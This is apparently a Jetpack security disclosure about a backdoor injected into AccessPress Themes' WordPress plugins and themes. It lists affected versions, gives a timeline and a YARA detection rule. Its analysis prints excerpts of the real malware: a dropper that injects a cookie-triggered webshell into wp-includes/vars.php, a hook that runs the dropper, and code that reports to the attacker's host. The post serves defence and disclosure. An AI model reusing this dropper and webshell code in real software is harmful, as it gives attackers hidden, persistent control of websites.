Backdoor Found in Themes and Plugins from AccessPress Themes

Updated on June 11, 2022 - Harald Eilertsen

Update Feb. 1 – Changed the "Affected themes" section to reflect that new versions of the themes are starting to appear.

While investigating a compromised site we discovered some suspicious code in a theme by AccessPress Themes (aka Access Keys), a vendor with a large number of popular themes and plugins. On further investigation, we found that all the themes and most plugins from the vendor contained this suspicious code, but only if downloaded from their own website. The same extensions were fine if downloaded or installed directly from the WordPress.org directory.

Due to the way the extensions were compromised, we suspected an external attacker had breached the website of AccessPress Themes in an attempt to use their extensions to infect further sites.

We contacted the vendor immediately, but at first we did not receive a response. After escalating it to the WordPress.org plugin team, our suspicions were confirmed. AccessPress Themes websites were breached in the first half of September 2021, and the extensions available for download on their site were injected with a backdoor.

Once we had established a channel for communicating with the vendor, we shared our detailed findings with them. They immediately removed the offending extensions from their website.

Most of the plugins have since been updated, and known clean versions are listed towards the bottom of this post. However, the affected themes have not been updated, and are pulled from the WordPress.org theme repository. If you have any of the themes listed towards the bottom of this post installed on your site, we recommend migrating to a new theme as soon as possible.

This disclosure concerns a large number of extensions, both plugins and themes. Skip to the list below, or read on for the details.

Details:

Vendor: AccessPress Themes
Vendor url: https://accesspressthemes.com
Plugins: multiple
Themes: multiple
CVE: CVE-2021-24867

Analysis:

The infected extensions contained a dropper for a webshell that gives the attackers full access to the infected sites. The dropper is located in the file `inital.php` located in the main plugin or theme directory. When run it installs a cookie based webshell in `wp-includes/vars.php`. The shell is installed as a function just in front of the `wp_is_mobile()` function with the name of `wp_is_mobile_fix()`. This is presumably to not arouse suspicion to anybody casually scrolling through the `vars.php` file.

```
function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}
```

Once the shell is installed, the dropper will phone home by loading a remote image from the URL `hxxps://www.wp-theme-connect.com/images/wp-theme.jpg` with the url of the infected site and information about which theme it uses as query arguments. Finally, it will remove the dropper source file to avoid detection when the request is finished executing.

```
function finishInit() {
    unlink(__FILE__);
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspres
    }

}
register_shutdown_function('finishInit');
```

The webshell itself triggers if the user agent string in the request is `wp_is_mobile` and the request contains eight specific cookies. It pieces together and executes a payload from these supplied cookies.

```
$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
$g = $_COOKIE;

(count($g) == 8 && $is_wp_mobile) ?
(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) &&
@$_iv()) : $g;
```

We have also seen another, presumably older, variant of the backdoor directly embedded in the theme/plugin's `functions.php` file. This variant uses the same mechanism with piecing together the payload from eight cookies, but does not filter on the request's user agent string.

To ensure that the dropper is executed, the main plugin file (for plugins) or the `functions.php` file (for themes) have been modified with code to execute the `inital.php` file if it exists.

```
if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}

function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}
```

One striking detail from the timestamps of the compromised plugins is that they are all from early September. The majority are from September 6 and 7, with a few files from September 2 and 3. Similarly for the themes, all were compromised on September 22, except `accessbuddy` on September 9.

Also, the timestamps within the zip-archives are very uniform, with almost all files with the exact same timestamp, except for the modified main plugin file and the added dropper file that is stamped a few minutes later (usually about 2-5 minutes after the other files in the archive).

Looking at the timestamps for the zip-files downloaded from the `wordpress.org` repository however, we find a distribution of timestamps corresponding to when plugin/theme was actually updated. Also the distribution of timestamps within the archive is less uniform and reflects which files were updated in the release, and which are unchanged from an older release.

This suggests to us that the files from the AccessPress Themes' website were modified intentionally, and as a coordinated action after they were originally released. The compromise seems to have been performed in two stages, one for the plugins and a later one for the themes. Each of them with some earlier attempts, possibly to fine tune the process.

Our investigation has only looked at the themes and plugins freely available from the AccessPress Themes' website. We assume their paid pro themes are affected similarly, but we have not examined these. If you have any of these, please contact AccessPress Themes' support for further advice.

Affected themes

If you have any of the following themes with a version number in the *Bad* column installed on your site, we do recommend to upgrade to the version in the *Clean* column immediately. It's worth noting that the themes installed through WordPress.org are clean, even if they are listed in the *Bad* column. We still recommend upgrading to the known clean version to be on the safe side.

Themes with no version number in the *Clean* column have not yet been upgraded, and we recommend replacing it with another theme if at all possible.

Theme slug	Bad	Clean
accessbuddy	1.0.0	
accesspress-basic	3.2.1	3.2.2
accesspress-lite	2.92	2.93
accesspress-mag	2.6.5	2.6.6
accesspress-parallax	4.5	4.6

Theme slug	Bad	Clean
accesspress-ray	1.19.5	
accesspress-root	2.5	2.6.0
accesspress-staple	1.9.1	
accesspress-store	2.4.9	2.5.0
agency-lite	1.1.6	1.1.7
aplite	1.0.6	
bingle	1.0.4	1.0.5
bloger	1.2.6	1.2.7
construction-lite	1.2.5	1.2.6
doko	1.0.27	1.1.0
enlighten	1.3.5	1.3.6
fashstore	1.2.1	
fotography	2.4.0	2.4.1
gaga-corp	1.0.8	
gaga-lite	1.4.2	
one-paze	2.2.8	
parallax-blog	3.1.1574941215	
parallaxsome	1.3.6	1.3.7
punte	1.1.2	1.1.3
revolve	1.3.1	
ripple	1.2.0	1.2.1
scrollme	2.1.0	
sportsmag	1.2.1	
storevilla	1.4.1	1.4.2
swing-lite	1.1.9	1.2.0
the-launcher	1.3.2	1.3.3
the-monday	1.4.1	
uncode-lite	1.3.1	
unicon-lite	1.2.6	1.2.7
vmag	1.2.7	1.2.8
vmagazine-lite	1.3.5	1.3.7
vmagazine-news	1.0.5	1.0.6
zigcy-baby	1.0.6	1.0.7
zigcy-cosmetics	1.0.5	1.0.6
zigcy-lite	2.0.9	2.1.0

Table 1: Themes and versions compromised by the attack.

Affected plugins

If you have any of the following plugins with a version number in the *Bad* column installed on your site, we do recommend to upgrade to the version in the *Clean* column immediately. It's worth noting that the plugins installed through WordPress.org are clean, even if they are listed in the *Bad* column. We still recommend upgrading to the known clean version to be on the safe side.

Plugins with no version number in the *Clean* column have not yet been upgraded, and we recommend replacing it with other plugins if at all possible.

Plugin slug	Bad	Clean	Note
accesspress-anonymous-post	2.8.0	2.8.1	1
accesspress-custom-css	2.0.1	2.0.2	
accesspress-custom-post-type	1.0.8	1.0.9	
accesspress-facebook-auto-post	2.1.3	2.1.4	
accesspress-instagram-feed	4.0.3	4.0.4	
accesspress-pinterest	3.3.3	3.3.4	
accesspress-social-counter	1.9.1	1.9.2	
accesspress-social-icons	1.8.2	1.8.3	
accesspress-social-login-lite	3.4.7	3.4.8	
accesspress-social-share	4.5.5	4.5.6	

Plugin slug	Bad	Clean	Note
accesspress-twitter-auto-post	1.4.5	1.4.6	
accesspress-twitter-feed	1.6.7	1.6.8	
ak-menu-icons-lite		1.0.9	
ap-companion		1.0.7	2
ap-contact-form	1.0.6	1.0.7	
ap-custom-testimonial	1.4.6	1.4.7	
ap-mega-menu	3.0.5	3.0.6	
ap-pricing-tables-lite	1.1.2	1.1.3	
apex-notification-bar-lite	2.0.4	2.0.5	
cf7-store-to-db-lite	1.0.9	1.1.0	
comments-disable-accesspress	1.0.7	1.0.8	
easy-side-tab-cta	1.0.7	1.0.8	
everest-admin-theme-lite	1.0.7	1.0.8	
everest-coming-soon-lite	1.1.0	1.1.1	
everest-comment-rating-lite	2.0.4	2.0.5	
everest-counter-lite	2.0.7	2.0.8	
everest-faq-manager-lite	1.0.8	1.0.9	
everest-gallery-lite	1.0.8	1.0.9	
everest-google-places-reviews-lite	1.0.9	2.0.0	
everest-review-lite	1.0.7		
everest-tab-lite	2.0.3	2.0.4	
everest-timeline-lite	1.1.1	1.1.2	
inline-call-to-action-builder-lite	1.1.0	1.1.1	
product-slider-for-woocommerce-lite	1.1.5	1.1.6	
smart-logo-showcase-lite	1.1.7	1.1.8	
smart-scroll-posts	2.0.8	2.0.9	
smart-scroll-to-top-lite	1.0.3	1.0.4	
total-gdpr-compliance-lite	1.0.4	1.0.5	
total-team-lite	1.1.1	1.1.2	
ultimate-author-box-lite	1.1.2	1.1.3	
ultimate-form-builder-lite	1.5.0	1.5.1	
woo-badge-designer-lite	1.1.0	1.1.1	
wp-1-slider	1.2.9	1.3.0	
wp-blog-manager-lite	1.1.0	1.1.2	
wp-comment-designer-lite	2.0.3	2.0.4	
wp-cookie-user-info	1.0.7	1.0.8	
wp-facebook-review-showcase-lite		1.0.9	
wp-fb-messenger-button-lite		2.0.7	
wp-floating-menu	1.4.4	1.4.5	
wp-media-manager-lite	1.1.2	1.1.3	
wp-popup-banners	1.2.3	1.2.4	
wp-popup-lite	1.0.8		
wp-product-gallery-lite	1.1.1	1.1.3	

Table 2: Plugins, versions compromised by the attack as well as known clean versions,

Notes:

1. This plugin has not been updated, but is believed to be clean as the version on the AccessPress Themes website was an older version.
2. This plugin has not been updated, but is believed to be clean as it was not originally available on the AccessPress Themes website.

IOC's

The following YARA rule can be used to check if the site has been infected. It will detect both the dropper part of the infection as well as the installed webshell.

```
rule accesspress_backdoor_infection
{
strings:

    // IoC's for the dropper
    $inject0 = "$fc = str_replace('function wp_is_mobile()',"
    $inject1 = "$b64($b) . 'function wp_is_mobile()',"
    $inject2 = "$fc);"
    $inject3 = "@file_put_contents($f, $fc);"

    // IoC's for the dumped payload
    $payload0 = "function wp_is_mobile_fix()"
    $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
    $payload2 = "$g = $_COOKIE;"
    $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

    $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/

condition:

    all of ( $inject* )
    or all of ( $payload* )
    or $url0
}
```

Recommendations

If you have any themes or plugins installed directly from AccessPress Themes or any other place except WordPress.org, you should upgrade immediately to a safe version as indicated in the tables above. If no safe version is available, replace it with the latest version from WordPress.org.

Please note that this does not remove the backdoor from your system, so in addition you need to reinstall a clean version of WordPress to revert the core file modifications done during installation of the back door.

If you have a paid theme or plugin from AccessPress Themes/Access Keys, we advise contacting their support for help.

We strongly recommend that you have a security plan for your site that includes malicious file scanning and backups. Jetpack Security is one great WordPress security option to ensure your site and visitors are safe. Jetpack Scan has detected all variants of this back door and the dropper since September 30.

Timeline

2021-09-22: Jetpack Scan team discovers the dropper and back door in the FotoGraphy theme, and tries to contact vendor about the initial finding.

2021-09-27: Confirm presence of dropper + back door in all current free plugins and themes downloaded from vendors website.

2021-09-28: Confirm that dropper + back door is *not* present on downloads from wordpress.org

2021-09-29: Trying to contact vendor again, with updates on new findings.

2021-10-14: Escalated to WordPress plugins team to try to obtain contact with the vendor.

2021-10-15: Compromised extensions are removed from the vendor’s site.

2021-10-16: Response from vendor

2022-01-17: Most plugins have been upgraded to new versions, themes have been pulled from WordPress.org.

2022-01-18 Public disclosure

*This entry was posted in **Vulnerabilities** and tagged **plugin security**, **theme security**. Bookmark the **permalink**.*

Harald Eilertsen

Harald is a Certified Systems Security Professional (CISSP) with a wide background from software development and the security industry. He has a Master of Science in analog microelectronics from the Norwegian University of Science and Technology (NTNU), and has worked for companies such as Norman, Tandberg and Cisco before joining the Jetpack Scan team at Automattic.

Have a question?

Comments are closed for this article, but we're still here to help! Visit the support forum and we'll be happy to answer any questions.

View support forum

Search

Get news & tips from Jetpack

Enter your email address to follow this blog and receive news and updates from Jetpack!

Email Address

Subscribe

Join 111,148 other subscribers

Browse by Topic

- Affiliates (1)
- Analytics (6)
- Code snippets (32)
- Contribute (6)
- Customer Stories (6)
- Ecommerce (11)
- Events (5)
- Features (56)
- Grow (11)
- hosting (1)
- Innovate (6)
- Jetpack News (45)
- Learn (65)
- Meet Jetpack (14)
- Performance (24)
- Photos & Videos (9)
- Promotions (2)
- Releases (166)
- Search Engine Optimization (12)
- Security (75)
- Small Business (16)
- Social Media (13)
- Support Stories (3)
- Tips & Tricks (85)
- Uncategorized (5)
- Utilities & Maintenance (4)
- Vulnerabilities (18)
- Website Design (13)
- WordAds (1)
- WordCamp (3)

VaultPress Backup

WP Super Cache

Developers

Documentation

Beta Program

Contribute to Jetpack

Legal

Terms of Service

Privacy Policy

GDPR

Privacy Notice for California Users

Help

Knowledge Base

Forums

Security Library

Contact Us

Press

Social

Mobile Apps

An airline

Work With Us